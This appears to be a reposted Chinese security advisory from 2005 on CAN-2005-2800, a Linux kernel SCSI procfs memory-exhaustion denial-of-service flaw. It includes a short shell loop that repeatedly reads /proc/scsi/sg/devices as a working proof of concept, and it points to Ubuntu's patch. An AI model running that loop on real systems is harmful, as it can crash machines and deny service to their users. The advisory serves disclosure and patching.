Linux Kernel SCSI ProcFS拒绝服务漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-09-13
Linux Kernel SCSI ProcFS拒绝服务漏洞

受影响系统:

Linux kernel <= 2.6.13
Ubuntu Linux 5.0 4 powerpc
Ubuntu Linux 5.0 4 i386
Ubuntu Linux 5.0 4 amd64
Ubuntu Linux 4.1 ppc
Ubuntu Linux 4.1 ia64
Ubuntu Linux 4.1 ia32

描述:

--------------------------------------------------------------------------------
BUGTRAQ  ID: 14790
CVE(CAN) ID: CAN-2005-2800

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的SCSI驱动的procfs接口中存在拒绝服务漏洞。本地安全者可以通过反复读取/proc/scsi/sg/devices耗尽kernel内存,导致拒绝服务。

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/sh

while true; do
cat /proc/scsi/sg/devices > /dev/null
done

建议:
--------------------------------------------------------------------------------
厂商补丁:

Ubuntu
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.ubuntulinux.org/

图片内容